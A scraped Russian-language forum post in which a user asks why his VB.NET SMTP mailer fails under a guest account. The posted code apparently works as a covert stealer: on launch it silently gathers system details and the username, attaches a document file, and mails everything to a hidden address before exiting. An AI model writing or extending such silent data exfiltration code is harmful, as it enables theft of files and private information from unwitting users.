Статус:
Offline
Реєстрація: 21.11.2010
Повідом.: 38
Реєстрація: 21.11.2010
Повідом.: 38
- 🟡 07:30 Відбій тривоги в Харківська область.Зверніть увагу, тривога ще триває у:- Куп’янський район- Харківський район- Липецька територіальна громада- Вовчанська територіальна громада#Харківська_область
- #1
VBA проблема отправки почты
Написал простенький отправщик по smtp, у меня работает, но у других нет (( Возможно проблема в правах пользователя. Так вот: Как приложению программно разрешить запуск любым пользователем? Знаю, звучит бредово...
ПС. Походу используется net.Framevork
ППС. Уточняю - на Администраторе работает нормально, захожу под гостем и - аццес денайед (((
Вот код:
Написал простенький отправщик по smtp, у меня работает, но у других нет (( Возможно проблема в правах пользователя. Так вот: Как приложению программно разрешить запуск любым пользователем? Знаю, звучит бредово...
ПС. Походу используется net.Framevork
ППС. Уточняю - на Администраторе работает нормально, захожу под гостем и - аццес денайед (((
Вот код:
PHP:
Dim email As New Net.Mail.MailMessage
Dim smtp As Net.Mail.SmtpClient
***
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
MyInfo = My.Computer.Info.OSVersion & "; " & My.Computer.Info.OSPlatform & "; " & My.Computer.Info.OSFullName &
"; " & Environ("USERNAME") & "; " & System.Environment.SystemDirectory & "; " &
System.Environment.WorkingSet
smtp = New Net.Mail.SmtpClient("smtp.******", 2525)
smtp.Credentials = New Net.NetworkCredential("*", "*")
email.From = New Net.Mail.MailAddress("*")
email.To.Add(New Net.Mail.MailAddress("*"))
email.Body = MyInfo
email.Subject = "ttt"
email.Attachments.Add(New System.Net.Mail.Attachment("*:\*.doc"))
End If
smtp.Send(email)
End
End Sub